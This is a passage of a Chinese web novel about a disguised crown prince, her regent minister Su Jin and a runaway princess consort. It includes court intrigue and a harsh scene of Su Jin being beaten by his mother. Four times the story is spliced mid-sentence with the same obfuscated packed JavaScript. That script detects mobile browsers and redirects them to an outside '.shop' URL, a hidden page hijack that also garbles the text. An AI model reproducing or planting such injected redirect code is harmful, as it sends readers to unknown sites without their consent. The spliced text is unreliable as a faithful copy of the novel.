杂草很快被除尽，他又从怀中取出巾帕，擦拭墓碑上的灰尘，将刻字里的泥痕抹掉，里里外外，连角落都不遗漏。 倘若只比洒扫，他似乎也是其中佼佼者。 注意到他俯身半跪时，始终右膝碰地，未换过姿势，她不禁问：“你左腿怎么了？” “膝上中过箭。”他答，“痊愈了，没多大影响。只是习惯了注意。” 战争是残酷的。火炮和弓矢声一响，无论输家还是赢家，都要付出惨痛代价。 王图霸业，是用无数血肉之躯生生堆砌起来的。 这个看似谪仙一般的人，也是肉体凡胎。把他塞进炮膛，他一样会粉身碎骨，灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535780|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞烟灭。 * 返程途中，路遇一推车叫卖糖葫芦的货郎，苏觐见小人多看了几眼，想到昨日下午的山楂汤，便问：“想要吗？” “看看。”乔鹤练道。 苏觐上前询价，得知十文钱一串。 “这么贵？”乔鹤练脱口道。 货郎称，所用糖浆和山楂果的品质上乘，和普通摊贩口味不同。 苏觐买了一串。 见小人拿在手里欣赏，并不品尝，他问：“好看吗？” “好看啊。”乔鹤练道，“他没有骗我们，这个糖葫芦比甜食房的好看多了。” 细看起来，手中糖葫芦的山楂个头饱满，色泽鲜亮，糖衣薄而均匀，品相的确不凡。 她喜欢外观精致的东西，包括要入口的食物。 “殿下对坊间物价如此熟悉，”苏觐道，“看来从前平日里，没少出宫乱逛？” “对啊。”乔鹤练毫不避讳。 乱逛怎么了，整天坐在文华殿读书，人都会变傻。多走出去看看，才知道人间烟火。她还去过田间地头，看老伯牵牛犁地呢。 当然她没能跟人学会犁地，那个真的很难，比读书写字难多了。 途径一家养济院，苏觐发觉房屋与印象中不同，似乎翻修过，变新了很多。 想到户部已经很久没给养济院拨过额外款项，他便问门口的驿夫：“叨扰阁下，此处最近装潢是何时？” 那驿夫答，是二三月前的事情，并非官府筹度，而是民间隐名者捐资，用于修整破败房屋、接济孤寡，这才将这所养济院翻新了。 这时，养济院里的一个小孩跑过来，手里擒着一朵野花，眼巴巴地望着太子手中的糖葫芦：“大人，我妹妹很想吃糖葫芦，我可以用这个和你换吗？” 不远处，一个更小些的女孩站在墙边，怯生生地望着。 只见太子蹲下身，认真对小孩道：“可以呀，我也很想要你的花，我用糖葫芦跟你换吧。” 小孩道了谢，蹦蹦跳跳地跑回去，将糖葫芦给了小女孩，二人手牵手进了院子。 乔鹤练站起身，将手中野花递给苏觐：“送你了。” 苏觐接过，顺手塞进衣襟。 * 回到东宫，乔鹤练问苏觐：“今晚你还出宫吗？” 想起昨晚的酣眠，苏觐有些流连，但又恐在舒适好梦中沉沦，坠入深渊，于是道：“臣回王府。” “那明日，你是不是没时间来了？”乔鹤练试探。 有种说不上来的感觉，心有点空，有点涩。不是太高兴。 但想到没人再时刻盯着自己做这做那，又觉得也挺好。 大约是她太幼稚，对于任何一种离别都会不舍。 “殿下恐怕忘了，内阁和东宫离得有多近。”苏觐平静道。 “……”比起安慰，果然更像威胁。 “抓紧时间吧。”乔鹤练道，“宫门快落钥了。” 离宫之后，苏觐回想白日的经历，仍然觉得这一趟，出去得值得。 他比任何人都清楚后果。 他做事不计后果，并非不知后果。 可那又如何呢。二十多年，不都是这么过来的么。 随便吧。 23. 心理阴影 在薛司药的调理下，孟蕊初身体恢复得很快，脸色已经比王妃寿宴那日好看很多，只是仍然很瘦。 一连几日，她每天都来东宫求见，提出要离宫，搬入道观。 乔鹤练在心里叹气。 道观是清修之地，肯定架不住乔绍的一哭二闹，秦王夫妇的三请五请，孟蕊初过不了几天安生日子。 礼部和宗正院她都去过了，和离，确实没戏。 她也不能像从前那样大吵大闹，和那些老古董撕破脸，毕竟到最后，丢人的是她自己，不但帮不了孟蕊初，自己也要倒霉。 没办法，和乔绍动手的那天晚上，实在太令她刻骨铭心了。 这种损己不利人的事，做不得。 乔鹤练问孟蕊初：“如果，可以去一个很远很远的地方，世子他们找不到你，孟姐姐还想修道吗？” “很远很远的地方？”孟蕊初沉吟道，“妾并非真心求道，若可以选，妾还想……做个绣工。” 孟蕊初是织户女出身，在嫁给乔绍前，便精于刺绣。如今她家亲已故，无人庇佑。更何况布衣庶户，怎奈何得了皇室。 “如果，我是说如果，”乔鹤练道，“离开大黎，孟姐姐有想去，或者能去的地方吗？” 离开大黎？这话令孟蕊初愣住了。 这话并非第一次耳闻，她忆起陈年往事，五味杂陈，亏欠和懊悔涌上心头。 “殿下说的地方，妾，的确有。”她喃喃，“妾年少时的发小，如今在白济国，已经富甲一方。我们是知己，情同姐妹。当初，她邀请妾同她一起，去白济经商，妾……拒绝了。” 因为，要嫁给乔绍么。 身为女子，比起远赴异国他乡白手打拼，在大黎做个安稳的世子妃，的确是更好的选择。 这不怪她。 “姐姐如今，还想去白济国吗？”乔鹤练问。 白济与大黎遥隔远洋，算是海角天涯了。 “去不了的。”孟蕊初摇头。 并非是发小不接济她。离别之时，发小允诺过，若遇走投无路，随时可以去白济求助。岁月如梭，人心易变，可，她信她的一诺千金。 “他们，不会放妾走的。” 因为，入道观清修，是宗室命妇的离绝底线。 “姐姐只需告诉我，想不想。”乔鹤练道，“至于能否去，如何去，这些，姐姐不用考虑。” 孟蕊初轻轻点了下头，随后，又坚决摇头：“不行，妾在宫中叨扰，已经给殿下添了无数麻烦，还连累殿下……” 她想起太子脸上的伤势，无比歉疚自责。 “事已至此，无论如何，妾不能再拖着殿下，淌这趟浑水了……” “姐姐，信我。”乔鹤练看着她，眸光平和，“本宫要护的人，一定能护得住。” * 文华殿散讲后，乔鹤练回到寝殿，一看行简愁眉苦脸地坐在门口台阶上等她，心里便咯噔一下。 一看就知是不速之客到访了。 自出宫那日后，苏觐好几天没出现，她都快习惯回从前的无拘无束了。 乔鹤练在脑中飞快回忆了一遍自己数日来的行径，除了跑了几趟礼部和宗正院，也没做什么出格的事情。 既没有出宫，也没有旷学。 难道是因为打算送孟蕊初离开之事？ 她帮瑟瑟发抖的行简正了正戴歪的帽子，深吸一口气，抬脚步入了寝殿。 一样的桌案、座椅，一样的人，一样的坐姿。冰冷的脸孔，肃穆的神情，目光一动不动地落在案上的奏疏上。 这个震悚恐怖的场景，太过熟悉，直接把她拉回到他掏出御印训斥她的那晚。 尽管后来，他温和地同她探讨公道，说了很多令她潜心静思的话。随即还寸步不离地守了她两天，陪读、侍膳，带她出宫，为她扫墓，在她心里留下一些别样的旖旎。 可他用杀死行简，来威逼她低头认错的残酷，也无比真实。她无法相信，他不会真的痛下杀手。 她险些就没能护住她要护的人。 她的身体僵直麻木，寸步难行，愣在了原地。 “过来。”一样的命令，漠然，料峭。 她拖动沉重而发软的腿脚，一步一步，勉强挪了过去。 她头皮发紧，咬牙跪在了地毯上。 与其等着被人用强权羞辱，倒不如自己主动表演顺从来得体面。 即便她根本就不知道错在哪里。但如果这是他想看的，那就看个够吧。 可紧接着，她被一股强硬的力量携起，并非是嫌姿势难看要她重来，而是将她横抱而起，稳行数步，将她平放在柔软的罗汉榻上。 她怔住了，有些惊诧。 苏觐也很讶异。 他今日并不是来兴师问罪的，只是抽出时间想看看小人。刻意躲了几天，到底忍不住心痒。 谁料太子见到他如同见了鬼一样，进了门一声不吭，忍辱负重地跪在案边，仿佛背负了天大的不白之冤。 看来那天晚上，的确把太子吓出心理阴影了。 诚然，小人假装驯服的模样很美丽，但此情此景，实在令人揪心。 是他错了吗？ 他只想用一种最富冲击力，最高效的方式，告诉太子必须保护好自己，保护好陈留的脸。 效果明显是显著的。从乔绍次日请罪，太子近乎完美的反击就能看出来。 这小人，悟性高得惊人。 但可怕的副作用也同时出现了。譬如小人此刻的痛苦。 是他错了。苏觐想，对于这个委屈善良的小人，他应该温柔，不能像对旁人那样不近人情。就像小人收留他的那晚一样，要予之关怀。 从未有人教过他该怎么做。但，这不是借口。 “你，不是来教训我的啊？”乔鹤练如梦初醒，顿时非常尴尬，讪讪道。 “不是。”苏觐给她倒了杯茶，作为压惊，“臣看起来，很像爱教训人么？” “……”不像吗？ 唉，算了，你说不像就不像吧。 “那……有什么事情发生吗？”她侧身坐着，仍有些警觉。 苏觐想了想，还是站起身，从桌案上取了一叠奏疏，摆在罗汉榻中央的矮几上。 “看看吧。” “啊？”乔鹤练迟疑，盯着那些奏本封皮，并不敢轻易伸手。 现在还不是她该暴露野心的时机。 倘若被苏觐和秦王知道她企图染指朝政，截断北伐，她最好的结局，就是和爹爹一样，被关到沙河行宫软禁起来。 而最坏的结果，暴露身份……假冒储君，祸国乱政，很难想象她的死法。 看着小人低头不语的拘谨样子，苏觐有些无奈：“殿下看吧。臣既然让你看，就说明可以看。” 乔鹤练拿起奏疏，一本本翻阅起来。 “……” 很好，全是弹劾她接孟蕊初入宫之事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537576|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹章。 骂得文采飞扬，字字犀利，说她窃占皇嫂，荒淫无度，说她插手宗室家事，丧尽国本体面。 粗略翻完奏章，乔鹤练第一反应：“岑典干的？” 岑典常年跟着苏觐，因此在秦王面前得势。虽只有四品官衔，在都察院却是横着走的，连二品都御史都要对他客客气气。 她和岑典早就互看不顺眼，八成是乔绍煽动岑典，安排了一堆言官攻击她。 可恶！ “他敢。”苏觐淡淡道。 “……” 好吧，倘若不是岑典牵线搭桥，乔绍凭什么说动那么多言官帮他？难道是靠银子？ “那这些奏章，你打算怎么拟票……”乔鹤练问得有些心虚。 苏觐会同意下诏，强行让她把孟蕊初送还给乔绍吗？ “不拟票。”苏觐道，“臣只是觉得事关殿下，殿下应当知情，有所准备。” 不拟票的意思，是打算留中不发，冷处理啊。这么多奏本扣在内阁，不发下去，秦王知道了不会怪他吗。 转念一想，苏觐和秦王闹僵，对她有百利而无一害，无需追问什么。 “苏哥哥认为，我该作何打算？”她小心翼翼地问。 “臣身为外臣，对于宗室家事，无法置喙。”苏觐沉静答。 嗯，也是。毕竟乔绍是秦王亲生的，而苏觐是外姓，又和亲母秦王妃怄着气，在王府的处境实在有些尴尬。 他没有立场评论此事。 可也并未警告她什么。 既然如此，她就按照自己的想法来了。 * 蝉楼。 甜暖的鹅梨香漫过床帐，乔绍伏在软榻上，感到衣衫被人从后背轻轻揭去。 一只蘸了药油的手缓慢抚过他身上的伤痕，让他感到无限缱绻。 药油味里含着草原的野香，很粗犷，很自由。 “玉颜……”他反手擒住那只手腕，翻身将人搂进怀里。 他正欲吻人脸颊，忽然惊觉不对，一把甩开了手，往后缩了几寸。 女子眉目俊丽，身着喀兀常见的辫线袄，头戴珠链顶饰，两条乌黑发辫垂落胸前，眼神犹如羚牛一般锐利。 “怎么又是你！”乔绍偏过头去，又怒又窘地吼。 “我不行吗？”女子倾身迫近，一把将他推倒，压在床头，用手扳起他的下巴，将脸再次贴近。 “你滚啊！”乔绍脸涨得通红，竭力压抑着躯体里腾起的火。 他猛力推开她，光脚跑下床榻，把外袍胡乱往身上套。 “别胡闹，巴雅尔！”他斥责道，“你一个未出阁的女子，怎么如此不检点！你阿布额吉没教过你礼数吗？” 巴雅尔毕竟是他亲舅舅的女儿，他只想视她为妹妹，她却一而再再而三地寻衅，像在故意作弄他。 他很讨厌她看他的眼神，像在凝视一件玩物，像男人看女人，让他感到无比屈辱。 想到刚才是她触碰他的身躯，他不禁有些恶寒。 “黎廷的礼数，我当然没有学过。”巴雅尔嗤笑，“我只知在喀兀，未成婚的女子可以随心所欲。” “看来你骨子里还在循着黎廷那套可笑的规矩，你根本没有发自内心将自己视作草原的血脉。” 巴雅尔冷冷地蔑视着他。 “你爹厌恶你，你额吉的在天之灵，也会耻笑你此刻的懦弱。你是个懦夫，你根本不配做我兄长，也配不上玉颜。” 24. 犯上 乔绍上前就想给她一巴掌，手腕却被一股巧劲拦截，拉扯到一边。 巴雅尔仍抱着手臂站在原地，一动不动地睨着他，像在嘲笑。 只见是阮蝉擒住了他的手腕，呵斥道：“够了！多大年纪成过家的人了，还和小孩子一样打架？你若是来这里过家家的，不如趁早滚回漠北！” “我教训我妹妹，告诉她守礼尊兄的规矩，做个贤淑女子，关你屁事！”乔绍怒道。 话音刚落，施加在手腕上的狠力令他震痛，痛得他表情扭曲：“好了！不闹了！” 兄妹俩余怒未消地分坐在坐榻两边。 “黎廷太子抢走你的妻子，你就一点都不恨？”巴雅尔讥诮道。 乔绍捶床：“怎么不恨！我已经收买了一堆言官骂他告他！我要让他身败名裂！” “身败名裂有什么用？”巴雅尔毫不留情地讽刺，“你有能耐就去杀了他，少在背后嚼舌根！” “你怎么不去？在这里说我！”乔绍暴躁反击。 “若我是你，是黎廷摄政王的世子，三千营的兵权早就是我的了。”巴雅尔大声骂回去，“需要在乎一个草包太子？” “你有什么用？手段人情样样不行，不懂得怎么讨你爹的欢心。你还不如你那庶弟老三，人家至少掌握几队京营的兵！” “至于那个苏觐，你更是提鞋都不配，神机营被他牢牢控在手里，犹如铁板一块，你连辕门的边都摸不上，那可是黎廷精锐中的精锐！” 也是黎廷北伐喀兀的主力。营中有大量重型战车、火炮，专攻野战，超员配备杀伤力最强的火枪火铳，兼有冲阵重骑兵、弓弩轻骑兵，甲阵步兵等。 在过去多轮北伐中，喀兀部落遭遇连番重创，四处溃散，极难集结成势举兵南下。 “你怎么就那么废物！”巴雅尔骂道。 乔绍被骂得浑身窝火，又无从反驳，只能恨恨不语。 “你与其在床上装惨，不如赶紧到你爹面前装装孝顺，先把他的怜爱和信任骗到手再说。”巴雅尔道。 “你说得容易！我托生在我额吉的肚子里，这辈子就不可能得到他的怜爱和信任！”乔绍绝望叫嚷。 如今孟蕊初赖在宫中，秦王至今装聋作哑，没给他作半点主，任由太子骑在他头上作威作福。 “你怪天怪地，就是不怪你自己！”巴雅尔驳斥，“你若想做你黎廷的窝囊世子，趁早说清，我巴雅尔从此和你势不两立。” “若不想，你就做好草原苍天的勇士，为我大兀荣光披荆斩棘，少在这里首鼠两端，怨天尤人。” “滚！”见厚脸皮的乔绍一声不吭，巴雅尔顿时觉得自己在对牛弹琴，对这张俊秀的脸也感到厌烦，指着门喝令。 “你赶紧滚到你爹那里去，想尽一切办法，把三千营的兵权弄到手，否则你这辈子都休想见到玉颜和她腹中的孩子！” * 乔鹤练展开地图，将她规划好的离京路线画给孟蕊初。 “先走陆路由顺天府至永平府港口。再由永平府坐船，走海路至登州沿岸。抵达登州后，鲁国长公主会差人，护送你跨海至白济国。” 孟蕊初难以置信：“殿下安排妾离开大黎，妾走之后，殿下如何面对朝野上下悠悠之口？” 她摇头：“妾不能为了一己之私，陷殿下于危机而不顾。” 因留她在宫中休养，近几日，已有许多官员上疏弹劾，批评太子。 若她当真一走了之，岂不是将太子置于风口浪尖之上。协助外命妇私逃之罪，于储君而言，非同小可。 “孟姐姐放心。”乔鹤练道，“我既然敢做这件事，就代表我清楚后果，并且承担得起。” 她这个太子本就声名狼藉，朝野上下无人不知储君荒唐。从前“强抢民女”时，无非也就是下诏申斥，罚俸禁足。 私放外命妇之过，即便乔绍在背后挑事，秦王他们也不会拿她怎么样。大不了就去奉先殿，面对列祖列宗思过一个月，足够堵上都察院那些言官的嘴了。 * 秦王府。 书案后，秦王一边捋户部乱糟糟的账册，一边拨算盘：“太子到底是什么意思？真让孟氏一直在后宫住着？” “这个不太清楚。”苏觐坐在堂侧，整理着待批的奏本。 “你去跟太子说说，让他把孟氏劝回来。”秦王提笔计数，“年轻轻的朝廷命妇，没事去什么道观。” “这是世子家事，”苏觐拒绝，“侄儿说不了。” “对啊，”秦王仍伏案，“是大郎的家事，跟太子有什么关系，他在中间上蹿下跳什么？” “太子是关心皇嫂身体。”苏觐解释。 秦王哂笑，无语道：“我听都察院的人说，太子还想把孟氏送出宫，藏匿起来，有这回事吗？” “不清楚。”苏觐答，“没听说过。” 秦王大约是数目没对上，有些心烦，随口奚落：“孟氏平日孝顺明理，怎么遇到事情就知道出家？当初册封世子妃是她自愿的，如今又不肯从一而终了。” 又翻到一本弹劾太子的奏本，苏觐也不太舒服：“为何要从一而终？” “身为命妇，不应该从一而终么？”秦王皱着眉推开账册，“宗室姻亲代表皇家颜面，不是儿戏。” 苏觐仿佛听到荒唐的笑话，又或者是想太子之事想得有点魔怔，竟反问道： “那王妃娘娘从一而终了吗？” 话刚出口，他意识到自己疯了。 十七年来，他从未和秦王犟过嘴，且向来不齿于乔绍嘴欠找打的愚蠢行径。即便忤逆，也永远要保持恭顺。 但此时此刻，他竟有一点理解乔绍了。 秦王闻言惊怒，但还是宁愿相信自己听错了，投笔质问：“你刚才说什么？” 苏觐清楚地知道，此刻他该做什么。要么谎称口误，要么低头请罪，无论哪一种，方才那句疯话都会揭过去。 可他不但没有那么做，反而任由自己站起身，走上前直面秦王，一字一顿： “王妃娘娘是以布衣遗孀之身，改嫁皇室，册封命妇，并未从一而终。那世子妃同世子情意已断，为何还要从一而终？” 对自己的女人极尽荣宠，对其他女人刻薄寡恩，如此偏颇，这是身为君王，生杀予夺应有的准则吗？ 其实，若因为其他事情顶嘴，秦王大概率不会同他计较，可涉及到他母亲之事，便是触了秦王的逆鳞。 这种话从他口中说出，给秦王听，无异于玩火自焚。 随便吧，说都说了，完了就完了吧。 算盘狠狠地掷在他身上，摔落在地，终于将他彻底砸清醒。 嗯。生平第一次，秦王对他动手了。 他俯身捡起那把算盘，用衣袖擦了擦，平静地搁回桌案，而后跪在地上。 用本分的行为，遵循维持秩序的礼教。 好在秦王彻底震怒，也没有给他开口“请罪”的机会，径直从书案后绕了出来。 秦王冷笑：“我不是你爹，受不起你这般的礼！” 言罢便将他拽起来拖了出去，说道： “你娘这辈子最大的错误，不是嫁给了你爹，也不是嫁给了我，而是生出你这么个忘恩负义的儿子！” * 入夜。 秦王回到卧房，疲惫不堪，浑身骨头似要散架。 见他坐在镜前发愣，秦王妃上前给他按肩。 铁匠之女，常年亲手锤炼锻造，能铸神兵。天生的手劲力道，解酸乏，也的确很痛。 沉默了一会儿，秦王握住了她的手，起身将她扶到座上，道：“予冬，我要向你道歉。” “为何？”秦王妃淡淡的。 秦王将他对苏觐发火之事道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540047|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 听完后，秦王妃开口：“这是小事。” 秦王叹了口气。虽然扔算盘时尽量收了力，可最后那句话却说得极重。伤人。 那毕竟是予冬闯了一遭鬼门关，难产数日，拼死生下的孩子啊。 他怎么能不懊悔心痛。 秦王妃道：“那番话从觐儿口中说出来，确实不妥，但，并非没有道理。” 秦王微愣，而后点头。 “你口口声声宗室颜面，其实还是为了大郎。”秦王妃道，“当初两个孩子两情相悦，这么多年，蕊初对大郎的确全心全意。” 若真是为了颜面，差几个女婢就把孟蕊初架回来了，还需要拖到现在，求太子去劝？ 她知道，秦王心里亏欠乔绍，想让孟蕊初帮忙照顾儿子，想帮乔绍挽回妻子，觉得八年缘分断了太可惜。想法可以理解，但并不正确。 秦王妃：“也许因为大郎不是我生的，我能比你看得明白些。譬如说，蕊初是你的女儿，而大郎是女婿，恐怕你会第一个支持他们和离。” 见秦王沉默，她接着道，“你我之间虽破镜重圆，走到现在，可因为先帝当年的决断，终究隔着无数遗憾。” 她和眼前这位霸主，当年英武深情的皇长子，是在边关的军中相识相爱。二十八年前，因为先帝要招降喀兀某部，强令长子与喀兀贵女联姻，二人被迫分开。 尽管他允诺过她，一定会娶她做唯一的妻子。 在皇权与世道的碾压下，那么尊贵又骁勇，忠贞又不羁的少年，也只能不告而别，无声消失在刺骨的朔风中。 爱情无疾而终。她本想着余生独身。她会打铁，读过书，又能造刀枪，会修大炮，可以赚钱，为战死的同袍们报仇。 可不久后，她在家人绑架般的逼婚下，嫁给一个陌生的邻村人，又经历九死一生的分娩，生下了堪称用命换来的儿子。 丈夫家境不好，经常出门谋生。此后的八年，她都守在那个贫瘠的村落里，寸步不离地养育她的儿子。 “你让大郎自己选妻子，希望他有圆满的姻缘；就像觐儿这么大了还无心婚事，我也不催促一样。” 其实，都是把当初自己未竟的心愿，寄托在了孩子们身上。 秦王妃道，“如今你却做着和先帝一样的事。蕊初平日里多懂事，若真还念旧，自己早就回来了。此番心意已决，强行把她捆在大郎身边，没有意义。” “更何况，大郎目前的状况，你最清楚，蕊初该卷入这些是非当中么？她在府中尽心竭力做了七年儿媳，临了了，把她当一回闺女，让她远走高飞吧。” “太子仁孝，是性情中人。他既然想管这件事，不如任由他去，你做甩手掌柜，不也乐得自在么。” “至于对大郎的亏欠，要弥补也是由你自己，别想着假手他人了。” 秦王思忖良久，长叹一声，终是点头：“你说得对。此事是我想错了，感情之事勉强不来。我听你的，孟氏之事，不会再过问了。” 犹豫片刻，他忍不住道：“觐儿那边，你帮我……” 话刚出口，他忽然意识到什么，立刻打住，改口：“觐儿那边，我自己同他说。今日之事，你也不要过问了。” 秦王妃从容地坐着，眸光清素，未置可否。 * 次日。从宫中返家后，苏觐进了院子，只见正房门敞着，岑典在外头打转，神色慌张。 “你怎么来了？”苏觐有些意外，但也无所谓了。 反正他的家丑，岑典都知道。 岑典伸出手指，比了个噤声的手势，然后猛扑上前，想把苏觐往院外推。 可他也是文官，力气哪里大得过苏觐，直接被反推回去，踉跄了几步。 苏觐反手把院门栓上。 良言难劝该死的鬼啊。① 岑典彻底没辙了。 25. 母亲 苏觐进了屋。 只见秦王妃不动声色地坐在合榻上，眸光平静，毫无情绪。 苏觐走向茶桌。摸了摸茶壶，里面的茶水尚有余温，应该是岑典沏的。他便倒出一杯，捧给秦王妃。 他本以为母亲不会喝，做好了被晾在一边的准备，不料茶杯被不假思索地接过。 “天冷，茶凉得快。”他立刻道，“不如我去烧水，给娘重泡一壶。” 话音刚落，那杯茶便泼到了他的脸上。 嗯，还行。入口不够热，洗面的话，温度倒是正好。 茶水顺着脖颈滑落，打湿衣领，他闭着眼，后撤半步，在榻前跪了下去。 “你柜中的天子衣袍是从何处得来的？”秦王妃问。 藏得那么深都被翻出来了啊。母亲还是和儿时一样，很擅长和官府抄家一样搜查他的东西。 “太子赐的。”他答。 “你穿了？” “嗯。”他点头。 伴随着脆响和嗡鸣，凶猛的巨痛炸裂在面颊上。火铳般的一耳光，扇得他差点没跪住，头一阵发晕。 血从鼻腔中流出，他抬起衣袖抹去。那半边脸迅速变得麻木滚烫。 “娘的手，不疼么？”苏觐问。 秦王妃站起身，去取炉架上的长柄火钳。岑典闻声闯进来，跪在她脚边，抬手抢夺那把铁钳：“伯母开恩，这东西死沉，会出人命的！” 秦王妃顺势驻足。 苏觐却道：“没必要，伯度。死不了。” 又不是没受过。活得好好的。大惊小怪什么。 岑典说什么也不撒手，心急如焚地冲他喊：“你先闭嘴吧，大哥！” 言罢回头，苦求王妃：“伯母，长绬的意思是求你息怒，怕你伤身。” 秦王妃便弃了那火钳，踱回苏觐旁边，扬手又是一耳光，重重甩在他脸上。 血一颗一颗地砸在地板上，苏觐抹了把口鼻，沾了满袖殷红，不知有没有擦干净。 岑典把火钳掷进柜底，俯伏下去，难以抬头。 知道王妃是铁匠女出身，可这一巴掌把亲儿打出血的架势，他次次都无法直视。 “陛下的衣袍你说拿就拿，堂而皇之地摆在家里；明知京中最近闹细作，不太平，还敢带着太子私自出城，你是想死了。” 秦王妃冷冷道。 “身为辅臣不尽心照管，反而撺掇太子微服出游。这是你为人臣子该守的本分？” “抓着东宫内臣要打要杀，说别人逢君之恶，说别人没看好太子。轮到你自己呢？有过之而无不及。” 她冷笑。 “若要论宽己严人，你和秦王倒像是一个模子里刻出来的。他把你惯坏了，纵得你无法无天，真当自己也是天潢贵胄了。” “娘教训得极是。”苏觐道，“只是儿子敢带太子出去，便能够确保太子周全，算不得逢君之恶。” 京中细作之事，北镇抚司一直在明察暗访，他心里有数。那日出城路线是京卫反复清扫过的，巡防严密，绝对万无一失。 “还敢顶嘴！”秦王妃并不听他解释，反手又抡下一巴掌。 “你如今越发大胆，在王府什么忤逆的话都敢说，你是何身份？喜欢犟嘴，那便继续，来。” 苏觐无声而笑。他感觉岑典不是来替他求情的，而是来帮倒忙的。 这还不如火钳呢。火钳抽在身上，顶多青紫淤血，穿了衣服，遮得严严实实。 如此掌掴下来，明日脸上定然好看不了，还怎么去文华殿面对太子。又要躲到其他衙门里去了。 关于自己相貌卓越这件事，他虽早就从同僚和贵女们的赞叹中获知了，却从来不曾在意过。 皮囊而已，充盈不了国库，驱散不了顽敌，没有实际作用。 受不受伤，美不美观，横竖不影响当差，都无所谓。 直到被太子注视时，察觉到对面目光中难以掩饰的惊艳与欣赏，他才第一次为这副容貌感到庆幸。 会产生一种令人沉迷的错觉，仿佛是陈留在观赏自己。这份殊荣，是他过去十多年中从未拥有过的，是做梦都不敢奢求的。 而太子通过那张脸，把这种奢求，替他微妙地实现了。 这种感觉一旦体验过，岂是上瘾两个字能够形容的。 故而自儿时起，受多少掌掴都一声不吭的他，此刻竟开口求饶了。 “我不敢了，娘。求你别打脸了。” 通情达理的秦王妃默许了，且没有劳烦儿子起身，而是亲自出屋，去柴房抱了一捆荆条进来。 岑典闻声站起身。 他还以为苏觐突然开窍了。可眼见秦王妃动手拆起荆条，苏觐不仅不跑，还一动不动地待在原地，半句话也不讲。 真是活见鬼，要人命了。 好在岑典胆子够大，反应够快，三两步上前，跪在恰好挡住王妃的位置，道： “伯母，他说不清楚，你听我给你解释。此事是长绬思虑不周，他已经知道错了。太子年少单纯，在宫里待久了觉得烦闷，是人之常情。” “大约见太子很想出城散心，长绬不忍拒绝。但他护送一趟，将太子毫发无损地带回来，也算将功补过不是。” “他刚才说不敢了，定是听进了伯母的话。你消消气，何不先坐下再说。” 岑典心想，他铺垫得这么全了，苏觐就算是不屑于往下编，顺着他的话，随便保证一句也好啊。 秦王妃暂且停手，似在等待。 苏觐道：“不是伯度说的那样。是我胆大妄为，主动携太子出宫，是我忘恩僭越，向太子讨要御袍，是我忤逆不孝，屡次出言不逊，就是故意想看你们二位生气。” 为人臣子，既然操纵了封建礼教去统治他人，那么当封建礼教的重锤砸向自己时，照单全收，坦然面对，便是对秩序最基本的尊重。 所谓“忠”臣“孝”子，不就是这么回事么。 后来的事情他不太想仔细回忆，总之就是被打得浑身是伤，拇指粗的荆条，一根接一根，打折了半捆有余。 岑典在旁苦苦哀求，强行扑上身来替他挡了好几次，直到接到寻戈报信的秦王匆忙赶来，把母亲拦下了。 总体来说不严重，对于他的承受能力而言，只算小棰，不是大杖。和答应带太子出宫之时，他预估的差不多，离要逃跑的地步还差很远。 何况还多了私藏御袍和忤逆秦王两件事，母亲实在手下留情了。 只是膝上旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541755|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤因磕碰有些隐隐作痛。 不影响上值。只是不能见太子。 * 孟蕊初临走前，赠了乔鹤练一对锦囊。 锦囊上绣有栩栩如生的鸳鸯，针艺巧夺天工，华彩精美。 她道：“妾没什么可送的，唯有亲手绣了这个，赠给殿下，愿殿下早日觅得良缘。与太子妃琴瑟和鸣，鸳鸯白首。” 乔鹤练是有些讶异的。她以为，经历了这些事情，孟蕊初会对姻缘心灰意冷，可是收到这件礼物，她意识到，孟蕊初只是对乔绍一人死心。 一场失败的婚事，并不代表给今后的姻缘都判了死刑。她依然可以相信姻缘，向往姻缘，将姻缘视为祝福，赠予他人。 人活在世，已经很苦，如果连一份美好的姻缘都不能够相信，那也太没意思了。 虽然乔鹤练并不知道，她的姻缘尚在哪里，似镜花水月，又似遥遥无期。 文华殿。 乔鹤练坐在座上发愣。 